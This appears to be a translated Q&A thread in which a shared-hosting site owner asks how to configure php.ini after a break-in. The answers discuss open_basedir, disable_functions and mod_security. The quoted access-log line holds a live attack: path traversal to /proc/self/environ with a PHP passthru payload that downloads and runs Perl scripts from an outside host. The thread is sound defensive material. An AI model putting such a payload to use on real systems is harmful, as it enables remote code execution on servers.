На меня напали на общем хост-сервере (heartinternet), и они сказали, что я должен настроить свой собственный php.ini файл правильно.
Ну, у меня есть небольшая программа php / MySQL с функцией регистрации, небольшой сайт администратора, но кто-то его взломал.
Каков общий способ настройки php.ini файл, чтобы иметь возможность предотвратить такую атаку? Любая хорошая обстановка будет действительно оценена.
Вот что я получил от провайдера веб-хостинга:
121.254.216.170 - - [12/Sep/2011:05:21:07 +0100] "GET /?p=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.1" 200 5806 "-" "<?php echo \"j13mb0t#\"; passthru('wget http://some.thesome.com/etc/byz.jpg? -O /tmp/cmd548;cd /tmp;lwp-download http ://some . thesome . com/etc/cup.txt;perl cup.txt;rm -rf *.txt*;wget
http ://some . thesome . com/etc/update.txt;perl update.txt;rm -rf *.txt*'); echo \"#j13mb0t\"; ?>"
Поскольку внедрение сценария атакует сам код сайта, оно может полностью избежать безопасности веб-сервера. К сожалению, некоторые системы управления контентом (особенно старые версии Joomla) чрезвычайно восприимчивы к этой форме атак.
Простой способ лишить злоумышленников возможности использовать этот метод - добавить файл php.ini на верхнем уровне веб-сайта со следующим содержимым - однако имейте в виду, что впоследствии веб-сайт потребует тестирования, чтобы убедиться, что нет Изменения повлияли на легитимные действия сценария веб-сайта:
Директивы php.ini ...
allow_url_include = "0"
allow_url_fopen = "0"
Неясно, могла ли какая-либо из этих директив заблокировать эту атаку. То, как сработала эта атака, не было include()ing или fopen()используя удаленный URL, он полагался на возможность обмануть ваш код в include()ing /proc/self/environ который представляет собой файл, содержащий переменные среды процесса. Запрос отравил эти переменные среды фактическим кодом эксплойта, а сам эксплойт загрузил и выполнил сценарий perl, который выполнил грязную работу.
Создание open_basedir настройка, которая позволяет вашему коду открывать файлы только в определенных каталогах, заблокировала бы этот атаковать, но, как правило, программы, которые выполняют сценарии на основе пользовательского ввода без очень у строгих мер контроля есть десятки способов атаковать, особенно если они позволяют загружать пользовательский контент, например изображения или что-то еще.
Также важно поддерживать актуальность кода вашего сайта. Тем более, что этот эксплойт, как известно, влияет на Joomla, по крайней мере, с в прошлом марте
когда также можно предотвратить с помощью magic_quotes_gpc = Включено и magic_quotes_runtime = On в вашем php.ini. из-за этого автоматически экранировать все '(одинарные кавычки), "(двойные кавычки), \ (обратная косая черта) и NUL с обратной косой чертой для отправленных GET, POST и файлов cookie.
Если вы спрашиваете, как предотвратить именно эту атаку, вам нужно отключить пройти через функция в php.ini. Если у вас есть привилегия загружать собственный php.ini, вы можете отключить некоторые опасные функции php, такие как exec (если это не требуется вашему скрипту), поместив соответствующие функции в список функций отключения php.
disable_functions=passthru,exec,phpinfo
Нет определенного набора функций отключения, которые вы можете использовать здесь (если они есть, разработчики php никогда бы не включили ее в php :)). Все зависит от функций php, которые вы используете и не используете. Итак, обратитесь к руководству по php и добавьте любую системную команду / функцию, вызывающую функции php, которые не используются в сценарии вашего сайта, в список disable_functions.
Кроме того, попросите ваш хост установить и настроить mod_security который защитит не только ваш домен, но и всех остальных в общей среде. mod_security - замечательный брандмауэр веб-приложений, который поможет вам защитить сайты от ряда веб-атак, включая внедрение HTML, внедрение sql, XSS-атаки и т. д. Судя по приведенным деталям атаки, злоумышленник загружает сценарий perl в / tmp, что, скорее всего, угроза для всего сервера и не только в вашем домене / аккаунте.
Посмотреть здесь: http://blog.tenablesecurity.com/2009/08/configuration-auditing-phpini-to-help-prevent-web-application-attacks.html Прочтите всю страницу.